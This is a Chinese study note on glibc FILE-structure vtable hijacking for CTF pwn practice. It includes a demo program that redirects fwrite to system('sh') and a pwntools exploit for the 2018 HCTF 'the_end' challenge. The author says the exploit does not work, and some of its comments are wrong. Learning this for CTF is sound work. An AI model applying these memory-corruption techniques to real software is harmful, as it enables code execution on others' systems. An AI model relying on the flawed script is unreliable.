零、参考链接
参考链接 1:必看的参考链接
参考链接 2:ctf-wiki
参考链接 3:文章作者记录了一些有关的调试过程,很不错的文章
参考链接 4:需要一定的基础,我目前看不懂,但有很多源代码,这里留一下
参考链接 5:ctf题
一、实验环境
二、总结
这里我对一些知识点做一个总结,以便以后回来看我能立马看懂
1、FILE文件结构
①:_IO_list_all 链接了所有的 _IO_FLE_plus(参考链接1):
②:_IO_FLE_plus 结构体中包含了 _IO_FILE结构体 与 IO_jump_t指针(参考链接3):
struct _IO_FILE_plus
{
_IO_FILE file;
IO_jump_t *vtable;
}
//32位下的偏移是0x94,而64位下偏移是0xd8 ----vtable
//--------------------- ↓ 这个偏移是个重点 ↓ ---------------------//
//下面引用参考链接1中的代码 ↓
FILE *fp = fopen("./123.txt", "rw");
i64 *vtable_addr = (i64 *) ((i8 *) fp + 0xD8); //64位 0xD8
//--------------------- ↑ 这个偏移是个重点 ↑ ---------------------//
③:_IO_FILE_plus 中的 _IO_FILE 结构体源代码如下(参考链接3):
struct _IO_FILE {
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags
/* The following pointers correspond to the C++ streambuf protocol. */
/* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
char* _IO_read_ptr; /* Current read pointer */
char* _IO_read_end; /* End of get area. */
char* _IO_read_base; /* Start of putback+get area. */
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr; /* Current put pointer. */
char* _IO_write_end; /* End of put area. */
char* _IO_buf_base; /* Start of reserve area. */
char* _IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno;
#if 0
int _blksize;
#else
int _flags2;
#endif
_IO_off_t _old_offset; /* This used to be _offset but it's too small. */
#define __HAVE_COLUMN /* temporary */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
/* char* _save_gptr; char* _save_egptr; */
_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};
下面这张图是我参照上图自己弄的,图1 ↑ 图2 ↓
④:_IO_FILE_plus 中的 IO_jump_t 指针指向的 vtable 结构体如下(参考链接3)
void * funcs[] = {
1 NULL, // "extra word" //0x0 vtable[0]
2 NULL, // DUMMY //0x8
3 exit, // finish
4 NULL, // overflow
5 NULL, // underflow
6 NULL, // uflow
7 NULL, // pbackfail
8 NULL, // xsputn #printf //0x38 vtable[7]
9 NULL, // xsgetn
10 NULL, // seekoff //0x48
11 NULL, // seekpos //0x50
12 NULL, // setbuf //0x58
13 NULL, // sync
14 NULL, // doallocate
15 NULL, // read
16 NULL, // write
17 NULL, // seek
18 pwn, // close
19 NULL, // stat
20 NULL, // showmanyc
21 NULL, // imbue
};
⑤:_IO_list_all 将所有的 _IO_FLE_plus 连成链,_IO_FLE_plus 包含了 _IO_FILE 与 IO_jump_t,同时_IO_FILE 与 IO_jump_t 的结构体分别在③、④两点中介绍了
⑥:_IO_FILE 中利用 _IO_FILE 结构体指针 chain 连接下一个 _IO_FILE 结构体(③中图2)
⑦:初始情况下 _IO_FILE 结构有 _IO_2_1_stderr_ 、_IO_2_1_stdout_ 、_IO_2_1_stdin_ 三个,通过 _IO_list_all 将这三个结构连成链。并且存在三个全局指针stdin、stdout、stderr分别指向_IO_2_1_stderr_ 、_IO_2_1_stdout_ 、_IO_2_1_stdin_ 这三个结构体。(照搬参考链接1中的)
FILE *stdin = (FILE *) &_IO_2_1_stdin_;
FILE *stdout = (FILE *) &_IO_2_1_stdout_;
FILE *stderr = (FILE *) &_IO_2_1_stderr_;
⑧:如果有文件读写操作则会为对应文件创建一个 _IO_FILE 结构体,并且链接到 _IO_list_all 链表上。(⑦、⑧点也可以看看③中的图2,对比理解一下)
整个 ①~⑧ 核心的重点是第 ⑤ 、⑥点中的那两句话: _IO_list_all 将所有的 _IO_FLE_plus 连成链,_IO_FLE_plus 包含了 _IO_FILE 与 IO_jump_t ,_IO_FILE 中利用 _IO_FILE 结构体指针 chain 连接下一个 _IO_FILE 结构体,IO_jump_t 是 vtable 结构体指针。了解了这个以后,别人的文章你基本就能看懂了,要学更多的东西去找别人的文章就行了。
补充:对了,第 ③ 点中的图二,是调到了这个位置
//代码用的是参考链接 1 中的代码
//gcc -g -o xxx -z execstack -fno-stack-protector -no-pie -z norelro xxx.c
#include <stdio.h>
#include<stdlib.h>
#include <string.h>
typedef unsigned long long i64;
typedef unsigned char i8;
int main() {
FILE *fp = fopen("./123.txt", "rw");
i64 *fake_vtable = malloc(0x40);
fake_vtable[7] = (i64) &system;
i64 *vtable_addr = (i64 *) ((i8 *) fp + 0xD8);
*vtable_addr = (i64) fake_vtable;
memcpy(fp, "sh", 3);
fwrite("hi", 2, 1, fp);
return 0;
}
三、一些文件 IO 函数
基本照搬参考链接1:
1、fopen --> _IO_new_open --> __fopen_internal --> malloc 创建 locked_FILE 结构体 --> _IO_no_init 对结构体进行 null 初始化 --> _IO_file_init 将结构体链接进 _IO_list_all 链表 --> _IO_file_open 执行系统调用打开文件
2、fread
3、fwrite
4、fclose --> _IO_new_fclose --> 调用 _IO_un_link 将文件结构体从 _IO_list_all 链表中取下 --> 调用 _IO_file_close_it 关闭文件并释放缓冲区 --> 释放 FILE 内存以及确认文件关闭
小结:这些函数的调用过程可以自己写代码调试,也可以去读源码,读源码难度大。
//gcc -g -o xxx xxx.c
#include<stdio.h>
int main()
{
char buff[200];
FILE *h,*h1;
FILE *fp = fopen("xy.txt","rw"),*fp1;
char str[] = "hahahahahahahaha";
h = fopen("file.txt","rw");
fread(buff,1,8,h);
fclose(h);
h1 = fopen("file.txt","a");
fwrite(str,sizeof(str),1,fp);
fclose(h1);
fread(buff,1,12,fp); //gdb从这开始用si跟踪
printf("%s",buff);
fclose(fp);
fp1 = fopen("xy.txt","a");
fwrite(str,sizeof(str),1,fp);
fclose(fp);
printf("\ngg");
return 0;
}
四、一些相关知识
我比较懒,这里直接截 参考链接1 中的图了:
IO 调用的 vtable 函数:
fopen 函数是在分配空间,建立 FILE 结构体,未调用 vtable 中的函数。
fread 函数中调用的 vtable 函数有:
_IO_sgetn 函数调用了 vtable 的 _IO_file_xsgetn 。
_IO_doallocbuf 函数调用了 vtable 的 _IO_file_doallocate 以初始化输入缓冲区。
vtable 中的 _IO_file_doallocate 调用了 vtable 中的 __GI__IO_file_stat 以获取文件信息。
__underflow 函数调用了 vtable 中的 _IO_new_file_underflow 实现文件数据读取。
vtable 中的 _IO_new_file_underflow 调用了 vtable__GI__IO_file_read 最终去执行系统调用read。
fwrite 函数调用的 vtable 函数有:
_IO_fwrite 函数调用了 vtable 的 _IO_new_file_xsputn 。
_IO_new_file_xsputn 函数调用了 vtable 中的 _IO_new_file_overflow 实现缓冲区的建立以及刷新缓冲区。
vtable 中的 _IO_new_file_overflow 函数调用了 vtable 的 _IO_file_doallocate 以初始化输入缓冲区。
vtable 中的 _IO_file_doallocate 调用了 vtable 中的 __GI__IO_file_stat 以获取文件信息。
new_do_write 中的 _IO_SYSWRITE 调用了 vtable_IO_new_file_write 最终去执行系统调用write。
fclose 函数调用的 vtable 函数有:
在清空缓冲区的 _IO_do_write 函数中会调用 vtable 中的函数。
关闭文件描述符 _IO_SYSCLOSE 函数为 vtable 中的 __close 函数。
_IO_FINISH 函数为 vtable 中的 __finish 函数。
fopen | fread | fwrite | fclose |
NULL | _IO_file_xsgetn | _IO_new_file_xsputn | __close |
_IO_file_doallocate | _IO_new_file_overflow | __finish | |
__GI__IO_file_stat | _IO_file_doallocate | ||
_IO_new_file_underflow | __GI__IO_file_stat | ||
vtable__GI__IO_file_read | vtable_IO_new_file_write |
五、简单例子
例子也直接用 参考链接1 中的了
//gcc -g -o xxx xxx.c
#include <stdio.h>
#include<stdlib.h>
#include <string.h>
typedef unsigned long long i64;
typedef unsigned char i8;
int main() {
FILE *fp = fopen("./123.txt", "rw"); //创建fp指针
i64 *fake_vtable = malloc(0x40); //为伪造的vtable申请一块堆空间
//vtable[7]是 _IO_new_file_xsputn #printf,fwrite执行时会调用这个
fake_vtable[7] = (i64) &system;
//将其替换为 system ,致使执行fwrite时实际执行system函数
//64位 vtable位置相对fp的偏移是0xD8
i64 *vtable_addr = (i64 *) ((i8 *) fp + 0xD8);
//新建指针指向vtable
//修改vtable地址指针指向的值为伪造的vtable的地址
*vtable_addr = (i64) fake_vtable;
//这一步我也不是很懂,反正这个sh就是system的参数,不知道为什么直接写入fd就行,有点迷
memcpy(fp, "sh", 3);
//经调试,RDI存了"sh",函数的第一个参数一般就是rdi,我也不知道为啥会写进去
//调用fwrite的过程中会执行 _IO_new_file_xsputn 而 _IO_new_file_xsputn 的地址
fwrite("hi", 2, 1, fp);
//已经被修改为system函数的地址,所以执行fwrite相当于执行system
//结合上一步,总体效果就是执行了system("sh");
return 0;
}
2018 HCTF the_end
题目链接:2018 HCTF the_end
ida反编译出来的main函数:
void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
int i; // [rsp+4h] [rbp-Ch]
void *buf; // [rsp+8h] [rbp-8h] BYREF
sleep(0);
printf("here is a gift %p, good luck ;)\n", &sleep); //给出sleep函数地址,可得出libc地址
fflush(_bss_start); //刷新缓冲区,将缓冲区内的数据清空并丢弃
close(1); //0表示stdin,1表示stdout,2表示stderr
close(2); //这两句关闭了标准输出和错误流
for ( i = 0; i <= 4; ++i ) //循环五次
{
read(0, &buf, 8uLL); //输入一个任意地址
read(0, buf, 1uLL); //向该地址中写入一个字节
}
exit(1337); //调用exit()函数
}
经过前面的学习,我的思路大概是:
1、调试找到exit()函数会调用vtable中的什么函数。
2、伪造vtable,将伪造的vtable中exit()会调用的函数的地址修改为system的地址。
3、想办法设置好system()函数的参数。
4、执行exit()函数即可。
很经典的思路,但我写不出exp,只能先分析别人的exp:
//exp修改自 题目链接 中的exp
//目前还没打通,找了好几个别的exp,用python2去打也都没打通
from pwn import *
context.log_level="debug"
libc=ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
p = process('./the_end')
sleep_ad = p.recvuntil(', good luck',drop=True).decode().split(' ')[-1]
libc_base = long(sleep_ad,16) - libc.symbols['sleep']
one_gadget = libc_base + 0xf02b0 //"bin/sh"地址
vtables = libc_base + 0x3C56F8 //_IO_file_jmups,libc-2.23.so中去找,记住在哪就行,我也不知道怎么找
fake_vtable = libc_base + 0x3c5588 //fake_vtable的值的选定我还没不确定
target_addr = libc_base + 0x3c55e0 //要重写set_buf函数,所以偏移为0x58
print 'libc_base: ',hex(libc_base)
print 'one_gadget:',hex(one_gadget)
print 'exit_addr:',hex(libc_base + libc.symbols['exit'])
# gdb.attach(p)
for i in range(2):
p.send(p64(vtables+i))
p.send(p64(fake_vtable)[i])
for i in range(3):
p.send(p64(target_addr+i))
p.send(p64(one_gadget)[i])
p.sendline("exec /bin/sh 1>&0") //为啥要加这一句我也不是很懂
p.interactive()
调试exit()函数时留下的一张图:
参考链接2 中的思路
①:利用的是在程序调用 exit
后,会遍历 _IO_list_all
,调用 _IO_2_1_stdout_
下的 vtable
中 _setbuf
函数
②:可以先修改两个字节在当前 vtable
附近伪造一个 fake_vtable
,然后使用 3 个字节修改 fake_vtable
中 _setbuf
的内容为 one_gadget
。